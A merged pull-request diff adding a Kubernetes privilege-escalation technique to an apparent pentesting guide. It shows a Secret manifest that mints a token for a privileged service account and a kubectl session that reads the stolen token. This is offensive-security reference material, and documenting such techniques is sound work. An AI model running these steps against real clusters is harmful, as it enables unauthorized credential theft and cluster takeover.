Merge pull request #141 from VL4DYSL4V/VL4DYSL4V-k8s-privesc-via-secrets-create-and-read

Added K8s privesc technique via Create & Read secrets

Author: carlospolop

src/pentesting-cloud/kubernetes-security/abusing-roles-clusterroles-in-kubernetes/README.md

@@ -350,6 +350,75 @@ The permission to **list secrets could allow an attacker to actually read the se
 curl -v -H "Authorization: Bearer <jwt_token>" https://<master_ip>:<port>/api/v1/namespaces/kube-system/secrets/
 ```
 
+### Creating and Reading Secrets
+
+There is a special kind of a Kubernetes secret of type **kubernetes.io/service-account-token** which stores serviceaccount tokens.
+If you have permissions to create and read secrets, and you also know the serviceaccount's name, you can create a secret as follows and then steal the victim serviceaccount's token from it:
+
+```yaml
+apiVersion: v1
+kind: Secret
+metadata:
+  name: stolen-admin-sa-token
+  namespace: default
+  annotations:
+    kubernetes.io/service-account.name: cluster-admin-sa
+type: kubernetes.io/service-account-token
+```
+
+Example exploitation:
+
+```bash
+$ SECRETS_MANAGER_TOKEN=$(kubectl create token secrets-manager-sa)
+
+$ kubectl auth can-i --list --token=$SECRETS_MANAGER_TOKEN 
+Warning: the list may be incomplete: webhook authorizer does not support user rule resolution
+Resources                                       Non-Resource URLs                      Resource Names   Verbs
+selfsubjectreviews.authentication.k8s.io        []                                     []               [create]
+selfsubjectaccessreviews.authorization.k8s.io   []                                     []               [create]
+selfsubjectrulesreviews.authorization.k8s.io    []                                     []               [create]
+secrets                                         []                                     []               [get create]
+                                                [/.well-known/openid-configuration/]   []               [get]
+<SNIP>
+                                                [/version]                             []               [get]
+
+$ kubectl create token cluster-admin-sa --token=$SECRETS_MANAGER_TOKEN 
+error: failed to create token: serviceaccounts "cluster-admin-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot create resource "serviceaccounts/token" in API group "" in the namespace "default"
+                                                                                                                                                                                            
+$ kubectl get pods --token=$SECRETS_MANAGER_TOKEN --as=system:serviceaccount:default:secrets-manager-sa
+Error from server (Forbidden): serviceaccounts "secrets-manager-sa" is forbidden: User "system:serviceaccount:default:secrets-manager-sa" cannot impersonate resource "serviceaccounts" in API group "" in the namespace "default"
+
+$ kubectl apply -f ./secret-that-steals-another-sa-token.yaml --token=$SECRETS_MANAGER_TOKEN
+secret/stolen-admin-sa-token created
+
+$ kubectl get secret stolen-admin-sa-token --token=$SECRETS_MANAGER_TOKEN -o json                      
+{
+    "apiVersion": "v1",
+    "data": {
+        "ca.crt": "LS0tLS1CRUdJTiBDRVJUSUZJQ0FU<SNIP>UlRJRklDQVRFLS0tLS0K",
+        "namespace": "ZGVmYXVsdA==",
+        "token": "ZXlKaGJHY2lPaUpTVXpJMU5pSXNJbXRwWk<SNIP>jYkowNWlCYjViMEJUSE1NcUNIY0h4QTg2aXc="
+    },
+    "kind": "Secret",
+    "metadata": {
+        "annotations": {
+            "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Secret\",\"metadata\":{\"annotations\":{\"kubernetes.io/service-account.name\":\"cluster-admin-sa\"},\"name\":\"stolen-admin-sa-token\",\"namespace\":\"default\"},\"type\":\"kubernetes.io/service-account-token\"}\n",
+            "kubernetes.io/service-account.name": "cluster-admin-sa",
+            "kubernetes.io/service-account.uid": "faf97f14-1102-4cb9-9ee0-857a6695973f"
+        },
+        "creationTimestamp": "2025-01-11T13:02:27Z",
+        "name": "stolen-admin-sa-token",
+        "namespace": "default",
+        "resourceVersion": "1019116",
+        "uid": "680d119f-89d0-4fc6-8eef-1396600d7556"
+    },
+    "type": "kubernetes.io/service-account-token"
+}
+```
+
+Note that if you are allowed to create and read secrets in a certain namespace, the victim serviceaccount also must be in that same namespace.
+
+
 ### Reading a secret – brute-forcing token IDs
 
 While an attacker in possession of a token with read permissions requires the exact name of the secret to use it, unlike the broader _**listing secrets**_ privilege, there are still vulnerabilities. Default service accounts in the system can be enumerated, each associated with a secret. These secrets have a name structure: a static prefix followed by a random five-character alphanumeric token (excluding certain characters) according to the [source code](https://github.com/kubernetes/kubernetes/blob/8418cccaf6a7307479f1dfeafb0d2823c1c37802/staging/src/k8s.io/apimachinery/pkg/util/rand/rand.go#L83).